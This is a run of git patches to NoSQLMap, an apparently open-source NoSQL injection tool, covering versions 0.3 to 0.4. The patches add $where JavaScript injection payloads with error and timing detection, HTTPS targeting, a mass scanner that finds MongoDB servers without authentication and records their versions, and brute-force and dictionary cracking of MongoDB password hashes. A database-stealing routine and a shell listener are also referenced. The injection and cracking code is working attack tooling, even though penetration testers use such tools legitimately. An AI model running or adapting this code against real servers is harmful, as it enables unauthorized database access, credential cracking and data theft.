errorTest(str(urllib.urlopen(uriArray[1]).read())) + injLen = int(len(urllib.urlopen(uriArray[1]).read())) checkResult(randLength,injLen,testNum) testNum += 1 @@ -941,20 +945,41 @@ def getApps(): else: print "Test 2: $where injection (string escape)" - injLen = int(len(urllib.urlopen(uriArray[2]).read())) - checkResult(randLength,injLen,testNum) - testNum += 1 + + errorCheck = str(urllib.urlopen(uriArray[2]).read()) + + if errorCheck.find('ReferenceError') != -1 or errorCheck.find('SyntaxError') != -1 or errorCheck.find('ILLEGAL') != -1: + if verb == "ON": + print "Injection returned a verbose error from the application. Injection may be possible." + possAddrs.append(uriArray[2]) + + else: + print "Possible injection." + possAddrs.append(uriArray[2]) + + else: + injLen = int(len(urllib.urlopen(uriArray[2]).read())) + checkResult(randLength,injLen,testNum) + testNum += 1 print "\n" if verb == "ON": print "Testing Mongo <2.4 $where Javascript integer escape attack for all records...\n" print "Injecting " + uriArray[3] else: - print "Test 3: $where injection (integer escape)" + print "Test 3: $where injection (integer escape)" - injLen = int(len(urllib.urlopen(uriArray[3]).read())) - checkResult(randLength,injLen,testNum) - testNum +=1 + errorCheck = str(urllib.urlopen(uriArray[3]).read()) + + if errorCheck.find('ReferenceError') != -1 or errorCheck.find('SyntaxError') != -1 or errorCheck.find('ILLEGAL') != -1: + if verb == "ON": + print "Injection returned a verbose error from the application. Injection may be possible." + possAddrs.append(uriArray[3]) + + else: + injLen = int(len(urllib.urlopen(uriArray[3]).read())) + checkResult(randLength,injLen,testNum) + testNum +=1 #Start a single record attack in case the app expects only one record back print "\n" @@ -1094,6 +1119,15 @@ def getApps(): raw_input("Press enter to continue...") return() +def errorTest (errorCheck): + global possAddrs + + if errorCheck.find('ReferenceError') != -1 or errorCheck.find('SyntaxError') != -1 or errorCheck.find('ILLEGAL') != -1: + print "some crap" + + + + def checkResult(baseSize,respSize,testNum): global vulnAddrs global possAddrs @@ -1149,6 +1183,7 @@ def checkResult(baseSize,respSize,testNum): else: print "Injection failed." return + else: if verb == "ON": print "Injected response was smaller than random response. Injection may have worked but requires verification." @@ -1372,43 +1407,45 @@ def accessCheck(ip,port,pingIt): try: dbList = conn.database_names() + dbVer = conn.server_info()['version'] conn.disconnect() - return 0 + return [0,dbVer] except: if str(sys.exc_info()).find('need to login') != -1: conn.disconnect() - return 1 + return [1,None] else: conn.disconnect() - return 2 + return [2,None] except: - return 3 + return [3,None] else: - return 4 + return [4,None] else: try: conn = pymongo.MongoClient(ip,port,connectTimeoutMS=4000,socketTimeoutMS=4000) try: dbList = conn.database_names() + dbVer = conn.server_info()['version'] conn.disconnect() - return 0 + return [0,dbVer] except: if str(sys.exc_info()).find('need to login') != -1: conn.disconnect() - return 1 + return [1,None] else: conn.disconnect() - return 2 + return [2,None] except: - return 3 + return [3,None] def massMongo(): @@ -1417,6 +1454,7 @@ def massMongo(): loadCheck = False ping = False success = [] + versions = [] creds = [] commError = [] ipList = [] @@ -1471,33 +1509,35 @@ def massMongo(): for target in ipList: result = accessCheck(target.rstrip(),27017,ping) - if result == 0: - print "Successful default access on " + target.rstrip() + "." - success.append(target) + if result[0] == 0: + print "Successful default access on " + target.rstrip() + "(Mongo Version: " + result[1] + ")." + success.append(target.rstrip()) + versions.append(result[1]) - elif result == 1: + elif result[0] == 1: print "MongoDB running but credentials required on " + target.rstrip() + "." - creds.append(target) + creds.append(target.rstrip()) #Future use - elif result == 2: + elif result[0] == 2: print "Successful MongoDB connection to " + target.rstrip() + " but error executing command." - commError.append(target) + commError.append(target.rstrip()) #Future use - elif result == 3: + elif result[0] == 3: print "Couldn't connect to " + target.rstrip() + "." - elif result == 4: + elif result[0] == 4: print target.rstrip() + " didn't respond to ping." print "\n\n" print "Discovered MongoDB Servers with No Auth:" + print "IP" + "\t" + "Version" - menuItem = 1 + outCounter= 1 for server in success: - print str(menuItem) + "-" + server - menuItem += 1 + print str(outCounter) + "-" + server + " " + versions[outCounter - 1] + outCounter += 1 select = True print "\n" @@ -1507,7 +1547,7 @@ def massMongo(): if select == "x" or select == "X": return - elif select.isdigit() == True and int(select) <= menuItem: + elif select.isdigit() == True and int(select) <= outCounter: victim = success[int(select) - 1] optionSet[0] = True raw_input("New target set! Press enter to return to the main menu.") @@ -1594,9 +1634,9 @@ def brute_pass(user,key): elif charSel == "6": chainSet = string.ascii_letters + string.digits + "!@#$%^&*()-_+={}[]|~`':;<>,.?/" count = 0 - + print "\n", for attempt in genBrute (chainSet,int(maxLen)): - print "Tested " + str(count) + " cominations." + print "\rCombinations tested: " + str(count) + "\r" count += 1 if md5(user + ":mongo:" + str(attempt)).hexdigest() == key: print "\nFound - " + user + ":" + attempt From 939e6c77a6cb581a969da7dd6a69d5192f3e7df2 Mon Sep 17 00:00:00 2001 From: tcstool Date: Fri, 11 Jul 2014 14:46:20 -0500 Subject: [PATCH 065/207] Finish HTTP error logic, add HTTPS support Also added scan output savings to CSV --- nosqlmap.py | 289 +++++++++++++++++++++++++++++++++++++--------------- 1 file changed, 207 insertions(+), 82 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index ef3289a..935439d 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -37,7 +37,7 @@ #Set a list so we can track whether options are set or not to avoid resetting them in subsequent cals to the options menu. global optionSet -optionSet = [False,False,False,False,False,False,False,False] +optionSet = [False,False,False,False,False,False,False,False,False] global yes_tag global no_tag yes_tag = ['y', 'Y'] @@ -46,6 +46,7 @@ global webPort global uri global httpMethod +global https global myIP global myPort global verb @@ -116,6 +117,7 @@ def options(): global victim global webPort global uri + global https global httpMethod global postData global myIP @@ -147,6 +149,9 @@ def options(): if optionSet[6] == False: verb = "OFF" optSelect = True + if optionSet[8] == False: + https = "OFF" + optSelect = True while optSelect: print "\n\n" @@ -154,14 +159,15 @@ def options(): print "1-Set target host/IP (Current: " + str(victim) + ")" print "2-Set web app port (Current: " + str(webPort) + ")" print "3-Set App Path (Current: " + str(uri) + ")" - print "4-Set MongoDB Port (Current : " + str(dbPort) + ")" - print "5-Set HTTP Request Method (GET/POST) (Current: " + httpMethod + ")" - print "6-Set my local Mongo/Shell IP (Current: " + str(myIP) + ")" - print "7-Set shell listener port (Current: " + str(myPort) + ")" - print "8-Toggle Verbose Mode: (Current: " + str(verb) + ")" - print "9-Load options file" - print "0-Load options from saved Burp request" - print "a-Save options file" + print "4-Toggle HTTPS (Current: " + str(https) + ")" + print "5-Set MongoDB Port (Current : " + str(dbPort) + ")" + print "6-Set HTTP Request Method (GET/POST) (Current: " + httpMethod + ")" + print "7-Set my local Mongo/Shell IP (Current: " + str(myIP) + ")" + print "8-Set shell listener port (Current: " + str(myPort) + ")" + print "9-Toggle Verbose Mode: (Current: " + str(verb) + ")" + print "0-Load options file" + print "a-Load options from saved Burp request" + print "b-Save options file" print "x-Back to main menu" select = raw_input("Select an option: ") @@ -209,13 +215,25 @@ def options(): uri = raw_input("Enter URI Path (Press enter for no URI): ") print "\nURI Path set to " + uri + "\n" optionSet[2] = True - + elif select == "4": + if https == "OFF": + print "HTTPS enabled." + https = "ON" + optionSet[8] = True + + elif verb == "ON": + print "HTTPS disabled." + https = "OFF" + optionSet[8] = True + + + elif select == "5": dbPort = int(raw_input("Enter target MongoDB port: ")) print "\nTarget Mongo Port set to " + str(dbPort) + "\n" optionSet[7] = True - elif select == "5": + elif select == "6": httpMethod = True while httpMethod == True: @@ -240,7 +258,7 @@ def options(): else: print "Invalid selection" - elif select == "6": + elif select == "7": #Unset the setting boolean since we're setting it again. optionSet[4] = False goodLen = False @@ -272,12 +290,12 @@ def options(): print "\nShell/DB listener set to " + myIP + "\n" optionSet[4] = True - elif select == "7": + elif select == "8": myPort = raw_input("Enter TCP listener for shells: ") print "Shell TCP listener set to " + myPort + "\n" optionSet[5] = True - elif select == "8": + elif select == "9": if verb == "OFF": print "Verbose output enabled." verb = "ON" @@ -288,7 +306,7 @@ def options(): verb = "OFF" optionSet[6] = True - elif select == "9": + elif select == "0": loadPath = raw_input("Enter file name to load: ") try: fo = open(loadPath,"r" ) @@ -314,7 +332,7 @@ def options(): except: print "Couldn't load options file!" - elif select == "0": + elif select == "a": loadPath = raw_input("Enter path to Burp request file: ") try: @@ -353,7 +371,7 @@ def options(): uri = methodPath[1].replace("\r\n","") optionSet[2] = True - elif select == "a": + elif select == "b": savePath = raw_input("Enter file name to save: ") try: fo = open(savePath, "wb") @@ -578,7 +596,11 @@ def postApps(): #Verify app is working. print "Checking to see if site at " + str(victim) + ":" + str(webPort) + str(uri) + " is up..." - appURL = "http://" + str(victim) + ":" + str(webPort) + str(uri) + if https == "OFF": + appURL = "http://" + str(victim) + ":" + str(webPort) + str(uri) + + elif https == "ON": + appURL = "https://" + str(victim) + ":" + str(webPort) + str(uri) try: body = urllib.urlencode(postData) @@ -660,9 +682,15 @@ def postApps(): else: print "Test 1: PHP associative array injection" - injLen = int(len(urllib2.urlopen(req).read())) - checkResult(randLength,injLen,testNum) - testNum += 1 + errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + + if errorCheck == False: + injLen = int(len(urllib2.urlopen(req).read())) + checkResult(randLength,injLen,testNum) + testNum += 1 + + else: + testNum +=1 print "\n" #Delete the extra key @@ -677,9 +705,15 @@ def postApps(): else: print "Test 2: $where injection (string escape)" - injLen = int(len(urllib2.urlopen(req).read())) - checkResult(randLength,injLen,testNum) - testNum += 1 + errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + + if errorCheck == False: + injLen = int(len(urllib2.urlopen(req).read())) + checkResult(randLength,injLen,testNum) + testNum += 1 + else: + testNum += 1 + print "\n" postData.update({injOpt:"1; return db.a.find(); var dummy=1"}) @@ -691,9 +725,14 @@ def postApps(): else: print "Test 3: $where injection (integer escape)" - injLen = int(len(urllib2.urlopen(req).read())) - checkResult(randLength,injLen,testNum) - testNum += 1 + errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + + if errorCheck == False: + injLen = int(len(urllib2.urlopen(req).read())) + checkResult(randLength,injLen,testNum) + testNum += 1 + else: + testNum += 1 print "\n" #Start a single record attack in case the app expects only one record back @@ -707,9 +746,15 @@ def postApps(): else: print "Test 4: $where injection string escape (single record)" - injLen = int(len(urllib2.urlopen(req).read())) - checkResult(randLength,injLen,testNum) - testNum += 1 + errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + + if errorCheck == False: + injLen = int(len(urllib2.urlopen(req).read())) + checkResult(randLength,injLen,testNum) + testNum += 1 + + else: + testNum += 1 print "\n" postData.update({injOpt:"1; return db.a.findOne(); var dummy=1"}) @@ -722,9 +767,15 @@ def postApps(): else: print "Test 5: $where injection integer escape (single record)" - injLen = int(len(urllib2.urlopen(req).read())) - checkResult(randLength,injLen,testNum) - testNum += 1 + errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + + if errorCheck == False: + injLen = int(len(urllib2.urlopen(req).read())) + checkResult(randLength,injLen,testNum) + testNum += 1 + + else: + testNum += 1 print "\n" postData.update({injOpt:"a'; return this.a != '" + injectString + "'; var dummy='!"}) @@ -738,11 +789,16 @@ def postApps(): else: print "Test 6: This != injection (string escape)" - injLen = int(len(urllib2.urlopen(req).read())) - checkResult(randLength,injLen,testNum) - testNum += 1 - print "\n" + errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + if errorCheck == False: + injLen = int(len(urllib2.urlopen(req).read())) + checkResult(randLength,injLen,testNum) + testNum += 1 + print "\n" + else: + testNum += 1 + postData.update({injOpt:"1; return this.a != '" + injectString + "'; var dummy=1"}) body = urllib.urlencode(postData) req = urllib2.Request(appURL,body) @@ -753,9 +809,15 @@ def postApps(): else: print "Test 7: This != injection (integer escape)" - injLen = int(len(urllib2.urlopen(req).read())) - checkResult(randLength,injLen,testNum) - testNum += 1 + errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + + if errorCheck == False: + injLen = int(len(urllib2.urlopen(req).read())) + checkResult(randLength,injLen,testNum) + testNum += 1 + + else: + testNum += 1 print "\n" doTimeAttack = raw_input("Start timing based tests (y/n)? ") @@ -877,8 +939,11 @@ def getApps(): #Verify app is working. print "Checking to see if site at " + str(victim) + ":" + str(webPort) + str(uri) + " is up..." - appURL = "http://" + str(victim) + ":" + str(webPort) + str(uri) + if https == "OFF": + appURL = "http://" + str(victim) + ":" + str(webPort) + str(uri) + elif https == "ON": + appURL = "https://" + str(victim) + ":" + str(webPort) + str(uri) try: appRespCode = urllib.urlopen(appURL).getcode() if appRespCode == 200: @@ -932,13 +997,16 @@ def getApps(): print "Test 1: PHP associative array injection" #Test for errors returned by injection - errorCheck = errorTest(str(urllib.urlopen(uriArray[1]).read())) + errorCheck = errorTest(str(urllib.urlopen(uriArray[1]).read()),testNum) - injLen = int(len(urllib.urlopen(uriArray[1]).read())) - checkResult(randLength,injLen,testNum) - testNum += 1 - print "\n" + if errorCheck == False: + injLen = int(len(urllib.urlopen(uriArray[1]).read())) + checkResult(randLength,injLen,testNum) + testNum += 1 + else: + testNum += 1 + print "\n" if verb == "ON": print "Testing Mongo <2.4 $where all Javascript string escape attack for all records...\n" print "Injecting " + uriArray[2] @@ -946,22 +1014,17 @@ def getApps(): print "Test 2: $where injection (string escape)" - errorCheck = str(urllib.urlopen(uriArray[2]).read()) + errorCheck = errorTest(str(urllib.urlopen(uriArray[2]).read()),testNum) - if errorCheck.find('ReferenceError') != -1 or errorCheck.find('SyntaxError') != -1 or errorCheck.find('ILLEGAL') != -1: - if verb == "ON": - print "Injection returned a verbose error from the application. Injection may be possible." - possAddrs.append(uriArray[2]) - else: - print "Possible injection." - possAddrs.append(uriArray[2]) - - else: + if errorCheck == False: injLen = int(len(urllib.urlopen(uriArray[2]).read())) checkResult(randLength,injLen,testNum) testNum += 1 + else: + testNum += 1 + print "\n" if verb == "ON": print "Testing Mongo <2.4 $where Javascript integer escape attack for all records...\n" @@ -969,17 +1032,16 @@ def getApps(): else: print "Test 3: $where injection (integer escape)" - errorCheck = str(urllib.urlopen(uriArray[3]).read()) + errorCheck = errorTest(str(urllib.urlopen(uriArray[3]).read()),testNum) - if errorCheck.find('ReferenceError') != -1 or errorCheck.find('SyntaxError') != -1 or errorCheck.find('ILLEGAL') != -1: - if verb == "ON": - print "Injection returned a verbose error from the application. Injection may be possible." - possAddrs.append(uriArray[3]) - else: + if errorCheck == False: injLen = int(len(urllib.urlopen(uriArray[3]).read())) checkResult(randLength,injLen,testNum) testNum +=1 + + else: + testNum +=1 #Start a single record attack in case the app expects only one record back print "\n" @@ -990,9 +1052,14 @@ def getApps(): print "Test 4: $where injection string escape (single record)" - injLen = int(len(urllib.urlopen(uriArray[4]).read())) - checkResult(randLength,injLen,testNum) - testNum += 1 + errorCheck = errorTest(str(urllib.urlopen(uriArray[4]).read()),testNum) + + if errorCheck == False: + injLen = int(len(urllib.urlopen(uriArray[4]).read())) + checkResult(randLength,injLen,testNum) + testNum += 1 + else: + testNum += 1 print "\n" if verb == "ON": @@ -1001,9 +1068,15 @@ def getApps(): else: print "Test 5: $where injection integer escape (single record)" - injLen = int(len(urllib.urlopen(uriArray[5]).read())) - checkResult(randLength,injLen,testNum) - testNum +=1 + errorCheck = errorTest(str(urllib.urlopen(uriArray[5]).read()),testNum) + + if errorCheck == False: + injLen = int(len(urllib.urlopen(uriArray[5]).read())) + checkResult(randLength,injLen,testNum) + testNum +=1 + + else: + testNum += 1 print "\n" if verb == "ON": @@ -1011,9 +1084,15 @@ def getApps(): print " Injecting " + uriArray[6] else: print "Test 6: This != injection (string escape)" - injLen = int(len(urllib.urlopen(uriArray[6]).read())) - checkResult(randLength,injLen,testNum) - testNum += 1 + + errorCheck = errorTest(str(urllib.urlopen(uriArray[6]).read()),testNum) + + if errorCheck == False: + injLen = int(len(urllib.urlopen(uriArray[6]).read())) + checkResult(randLength,injLen,testNum) + testNum += 1 + else: + testNum += 1 print "\n" if verb == "ON": @@ -1021,11 +1100,17 @@ def getApps(): print " Injecting " + uriArray[7] else: print "Test 7: This != injection (integer escape)" - injLen = int(len(urllib.urlopen(uriArray[7]).read())) - checkResult(randLength,injLen,testNum) - testNum += 1 - + + errorCheck = errorTest(str(urllib.urlopen(uriArray[7]).read()),testNum) + + if errorCheck == False: + injLen = int(len(urllib.urlopen(uriArray[7]).read())) + checkResult(randLength,injLen,testNum) + testNum += 1 + else: + testNum += 1 print "\n" + doTimeAttack = raw_input("Start timing based tests (y/n)? ") if doTimeAttack in yes_tag: @@ -1119,12 +1204,28 @@ def getApps(): raw_input("Press enter to continue...") return() -def errorTest (errorCheck): +def errorTest (errorCheck,testNum): global possAddrs + global httpMethod + global neDict + global postData if errorCheck.find('ReferenceError') != -1 or errorCheck.find('SyntaxError') != -1 or errorCheck.find('ILLEGAL') != -1: - print "some crap" + print "Injection returned a MongoDB Error. Injection may be possible." + if httpMethod == "GET": + possAddrs.append(uriArray[testNum]) + return True + + else: + if testNum == 1: + possAddrs.append(str(neDict)) + return True + else: + possAddrs.appends(str(postData)) + return True + else: + return False @@ -1297,11 +1398,11 @@ def buildUri(origUri, randValue): uriArray[7] += paramName[x] + "=1; return this.a !=" + randValue + "; var dummy=1" + "&" uriArray[8] += paramName[x] + "=a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy='!" + "&" uriArray[9] += paramName[x] + "=1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1" + "&" - uriArray[10] += paramName[x] + "=a\"; return db.a.find(); var dummy=\"!" + "&" - uriArray[11] += paramName[x] + "=a\"; return this.a != '" + randValue + "'; var dummy=\"!" + "&" + uriArray[10] += paramName[x] + "=a\"; return db.a.find(); var dummy='!" + "&" + uriArray[11] += paramName[x] + "=a\"; return this.a != '" + randValue + "'; var dummy='!" + "&" uriArray[12] += paramName[x] + "=a\"; return db.a.findOne(); var dummy=\"!" + "&" uriArray[13] += paramName[x] + "=a\"; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=\"!" + "&" - uriArray[14] += paramName[x] + "a'; return true; var dum=a'" + uriArray[14] += paramName[x] + "a'; return true; var dum='a" uriArray[15] += paramName[x] + "1; return true; var dum=2" #Add values that can be manipulated for database attacks uriArray[16] += paramName[x] + "=a\'; ---" @@ -1528,10 +1629,34 @@ def massMongo(): elif result[0] == 4: print target.rstrip() + " didn't respond to ping." - + print "\n\n" + select = True + while select: + saveEm = raw_input("Save scan results to CSV? (y/n):") + + if saveEm in yes_tag: + savePath = raw_input("Enter file name to save: ") + outCounter = 0 + try: + fo = open(savePath, "wb") + for server in success: + fo.write(server + "," + versions[outCounter] + "\n" ) + outCounter += 1 + + fo.close() + print "Scan results saved!" + select = False + except: + print "Couldn't save scan results." + + elif saveEm in no_tag: + select = False + else: + select = True + print "Discovered MongoDB Servers with No Auth:" - print "IP" + "\t" + "Version" + print "IP" + " " + "Version" outCounter= 1 From a59cbc34e34d8c3492c154bc57ca22abec2a31d1 Mon Sep 17 00:00:00 2001 From: tcstool Date: Fri, 11 Jul 2014 15:27:11 -0500 Subject: [PATCH 066/207] Multithread Scanner Test --- nosqlmap.py | 68 ++++++++++++++++++++++++++++++----------------------- 1 file changed, 39 insertions(+), 29 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 935439d..6e0a023 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -34,6 +34,7 @@ import re from hashlib import md5 from threading import Thread +import Queue #Set a list so we can track whether options are set or not to avoid resetting them in subsequent cals to the options menu. global optionSet @@ -1498,6 +1499,10 @@ def stealDBs(myDB,mongoConn): return def accessCheck(ip,port,pingIt): + global success + global versions + global creds + global commError if pingIt == True: test = os.system("ping -c 1 -n -W 1 " + ip + ">/dev/null") @@ -1510,22 +1515,32 @@ def accessCheck(ip,port,pingIt): dbList = conn.database_names() dbVer = conn.server_info()['version'] conn.disconnect() - return [0,dbVer] + print "Successful default access on " + ip.rstrip() + "(Mongo Version: " + dbVer + ")." + success.append(ip.rstrip()) + versions.append(dbVer) + return except: if str(sys.exc_info()).find('need to login') != -1: conn.disconnect() - return [1,None] + print "MongoDB running but credentials required on " + ip.rstrip() + "." + creds.append(ip.rstrip()) #Future use + return else: conn.disconnect() - return [2,None] + print "Successful MongoDB connection to " + ip.rstrip() + " but error executing command." + commError.append(ip.rstrip()) + return except: - return [3,None] + print "Couldn't connect to " + ip.rstrip() + "." + return + else: - return [4,None] + print target.rstrip() + " didn't respond to ping." + return else: try: conn = pymongo.MongoClient(ip,port,connectTimeoutMS=4000,socketTimeoutMS=4000) @@ -1534,19 +1549,27 @@ def accessCheck(ip,port,pingIt): dbList = conn.database_names() dbVer = conn.server_info()['version'] conn.disconnect() - return [0,dbVer] + print "Successful default access on " + ip.rstrip() + "(Mongo Version: " + dbVer + ")." + success.append(ip.rstrip()) + versions.append(dbVer) + return except: if str(sys.exc_info()).find('need to login') != -1: conn.disconnect() - return [1,None] + print "MongoDB running but credentials required on " + ip.rstrip() + "." + creds.append(ip.rstrip()) #Future use + return else: conn.disconnect() - return [2,None] + print "Successful MongoDB connection to " + ip.rstrip() + " but error executing command." + commError.append(ip.rstrip()) + return except: - return [3,None] + print "Couldn't connect to " + ip.rstrip() + "." + return def massMongo(): @@ -1554,6 +1577,10 @@ def massMongo(): optCheck = True loadCheck = False ping = False + global success + global versions + global creds + global commError success = [] versions = [] creds = [] @@ -1608,27 +1635,10 @@ def massMongo(): print "\n" for target in ipList: - result = accessCheck(target.rstrip(),27017,ping) - - if result[0] == 0: - print "Successful default access on " + target.rstrip() + "(Mongo Version: " + result[1] + ")." - success.append(target.rstrip()) - versions.append(result[1]) - - elif result[0] == 1: - print "MongoDB running but credentials required on " + target.rstrip() + "." - creds.append(target.rstrip()) #Future use - - elif result[0] == 2: - print "Successful MongoDB connection to " + target.rstrip() + " but error executing command." - commError.append(target.rstrip()) #Future use - - elif result[0] == 3: - print "Couldn't connect to " + target.rstrip() + "." + #result = accessCheck(target.rstrip(),27017,ping) - elif result[0] == 4: - print target.rstrip() + " didn't respond to ping." - + t = Thread(target=accessCheck, args = (target.rstrip(), 27017, ping)) + t.start() print "\n\n" select = True From 10c9efb5eb376e135a1c0cbe28c57c22da83694c Mon Sep 17 00:00:00 2001 From: tcstool Date: Fri, 11 Jul 2014 15:27:34 -0500 Subject: [PATCH 067/207] Revert 939e6c7..a59cbc3 This rolls back to commit 939e6c77a6cb581a969da7dd6a69d5192f3e7df2. --- nosqlmap.py | 68 +++++++++++++++++++++++------------------------------ 1 file changed, 29 insertions(+), 39 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 6e0a023..935439d 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -34,7 +34,6 @@ import re from hashlib import md5 from threading import Thread -import Queue #Set a list so we can track whether options are set or not to avoid resetting them in subsequent cals to the options menu. global optionSet @@ -1499,10 +1498,6 @@ def stealDBs(myDB,mongoConn): return def accessCheck(ip,port,pingIt): - global success - global versions - global creds - global commError if pingIt == True: test = os.system("ping -c 1 -n -W 1 " + ip + ">/dev/null") @@ -1515,32 +1510,22 @@ def accessCheck(ip,port,pingIt): dbList = conn.database_names() dbVer = conn.server_info()['version'] conn.disconnect() - print "Successful default access on " + ip.rstrip() + "(Mongo Version: " + dbVer + ")." - success.append(ip.rstrip()) - versions.append(dbVer) - return + return [0,dbVer] except: if str(sys.exc_info()).find('need to login') != -1: conn.disconnect() - print "MongoDB running but credentials required on " + ip.rstrip() + "." - creds.append(ip.rstrip()) #Future use - return + return [1,None] else: conn.disconnect() - print "Successful MongoDB connection to " + ip.rstrip() + " but error executing command." - commError.append(ip.rstrip()) - return + return [2,None] except: - print "Couldn't connect to " + ip.rstrip() + "." - return - + return [3,None] else: - print target.rstrip() + " didn't respond to ping." - return + return [4,None] else: try: conn = pymongo.MongoClient(ip,port,connectTimeoutMS=4000,socketTimeoutMS=4000) @@ -1549,27 +1534,19 @@ def accessCheck(ip,port,pingIt): dbList = conn.database_names() dbVer = conn.server_info()['version'] conn.disconnect() - print "Successful default access on " + ip.rstrip() + "(Mongo Version: " + dbVer + ")." - success.append(ip.rstrip()) - versions.append(dbVer) - return + return [0,dbVer] except: if str(sys.exc_info()).find('need to login') != -1: conn.disconnect() - print "MongoDB running but credentials required on " + ip.rstrip() + "." - creds.append(ip.rstrip()) #Future use - return + return [1,None] else: conn.disconnect() - print "Successful MongoDB connection to " + ip.rstrip() + " but error executing command." - commError.append(ip.rstrip()) - return + return [2,None] except: - print "Couldn't connect to " + ip.rstrip() + "." - return + return [3,None] def massMongo(): @@ -1577,10 +1554,6 @@ def massMongo(): optCheck = True loadCheck = False ping = False - global success - global versions - global creds - global commError success = [] versions = [] creds = [] @@ -1635,10 +1608,27 @@ def massMongo(): print "\n" for target in ipList: - #result = accessCheck(target.rstrip(),27017,ping) + result = accessCheck(target.rstrip(),27017,ping) + + if result[0] == 0: + print "Successful default access on " + target.rstrip() + "(Mongo Version: " + result[1] + ")." + success.append(target.rstrip()) + versions.append(result[1]) + + elif result[0] == 1: + print "MongoDB running but credentials required on " + target.rstrip() + "." + creds.append(target.rstrip()) #Future use + + elif result[0] == 2: + print "Successful MongoDB connection to " + target.rstrip() + " but error executing command." + commError.append(target.rstrip()) #Future use - t = Thread(target=accessCheck, args = (target.rstrip(), 27017, ping)) - t.start() + elif result[0] == 3: + print "Couldn't connect to " + target.rstrip() + "." + + elif result[0] == 4: + print target.rstrip() + " didn't respond to ping." + print "\n\n" select = True From 9ea05af30085874fae63812d18a28ad8ce579a1a Mon Sep 17 00:00:00 2001 From: tcstool Date: Sat, 12 Jul 2014 09:31:07 -0500 Subject: [PATCH 068/207] Final changes for 0.4 Backed multithreading dictionary attacks out, not satisfied with how they work. --- README.md | 2 +- nosqlmap.py | 13 +++++++++---- setup.sh | 46 ++++++++++++++++++++++++++++------------------ 3 files changed, 38 insertions(+), 23 deletions(-) diff --git a/README.md b/README.md index 8627de4..93c3039 100644 --- a/README.md +++ b/README.md @@ -1,7 +1,7 @@ NoSQLMap ======== -[NoSQLMap](http://www.nosqlmap.net) v0.3 +[NoSQLMap](http://www.nosqlmap.net) v0.4 Introduction ============ diff --git a/nosqlmap.py b/nosqlmap.py index 935439d..3fc3155 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -67,7 +67,7 @@ def mainMenu(): print "| |\ | (_) /\__/ /\ \/' / |____| | | | (_| | |_) |" print "\_| \_/\___/\____/ \_/\_\_____/\_| |_/\__,_| .__/" print "====================================================" - print "NoSQLMap-v0.4DEV" + print "NoSQLMap-v0.4" print "nosqlmap@gmail.com" print "\n" print "1-Set options" @@ -1705,7 +1705,10 @@ def passCrack (user, encPass): def gen_pass(user, passw, hashVal): if md5(user + ":mongo:" + str(passw)).hexdigest() == hashVal: - print "\nFound - " + user + ":" + passw + print "Found - " + user + ":" + passw + return True + else: + return False def dict_pass(user,key): loadCheck = False @@ -1722,8 +1725,10 @@ def dict_pass(user,key): print "Running dictionary attack..." for passGuess in passList: temp = passGuess.split("\n")[0] - t = Thread(target=gen_pass, args = (user, temp, key)) - t.start() + gotIt = gen_pass (user, temp, key) + + if gotIt == True: + break return def genBrute(chars, maxLen): diff --git a/setup.sh b/setup.sh index 5cac60b..e155360 100755 --- a/setup.sh +++ b/setup.sh @@ -21,7 +21,10 @@ if [ "$doIt" = "y" ] || [ "$doIt" = "Y" ]; then pip install httplib2 pip install urllib pip install hashlib - + pip install itertools + pip install re + pip install threading + pip install ast echo "All done. Check output for errors. Have fun!" elif [ -f /etc/redhat-release ]; then @@ -35,15 +38,18 @@ if [ "$doIt" = "y" ] || [ "$doIt" = "Y" ]; then wget http://mirror-fpt-telecom.fpt.net/fedora/epel/6/i386/epel-release-6-8.noarch.rpm rpm -ivh epel-release-6-8.noarch.rpm yum -y install python-pip - pip install pymongo - pip install gridfs - pip install ipcalc - pip install hashlib - pip install json - pip install httplib2 - pip install urllib - pip install hashlib - + pip install pymongo + pip install gridfs + pip install ipcalc + pip install hashlib + pip install json + pip install httplib2 + pip install urllib + pip install hashlib + pip install itertools + pip install re + pip install threading + pip install ast echo "All done. Check output for errors. Have fun!" @@ -55,14 +61,18 @@ if [ "$doIt" = "y" ] || [ "$doIt" = "Y" ]; then wget http://download.fedoraproject.org/pub/epel/5/i386/epel-release-5-4.noarch.rpm rpm -ivh epel-release-5-4.noarch.rpm yum -y install python-pip - pip install pymongo - pip install gridfs - pip install ipcalc - pip install hashlib - pip install json - pip install httplib2 - pip install urllib - pip install hashlib + pip install pymongo + pip install gridfs + pip install ipcalc + pip install hashlib + pip install json + pip install httplib2 + pip install urllib + pip install hashlib + pip install itertools + pip install re + pip install threading + pip install ast echo "All done. Check output for errors. Have fun!" From 7b8063c9fe9058acbab95b02de22d8f5fcd6c47c Mon Sep 17 00:00:00 2001 From: tcstool Date: Sat, 12 Jul 2014 09:35:43 -0500 Subject: [PATCH 069/207] Remove Github Markjup --- nosqlmap.py | 4 ---- 1 file changed, 4 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 0706829..d0ed370 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -67,11 +67,7 @@ def mainMenu(): print "| |\ | (_) /\__/ /\ \/' / |____| | | | (_| | |_) |" print "\_| \_/\___/\____/ \_/\_\_____/\_| |_/\__,_| .__/" print "====================================================" -<<<<<<< HEAD - print "NoSQLMap-v0.31" -======= print "NoSQLMap-v0.4" ->>>>>>> 0.4 print "nosqlmap@gmail.com" print "\n" print "1-Set options" From 88028ca1c0cfe35a9cd9757f829eaf38ace3ec8d Mon Sep 17 00:00:00 2001 From: tcstool 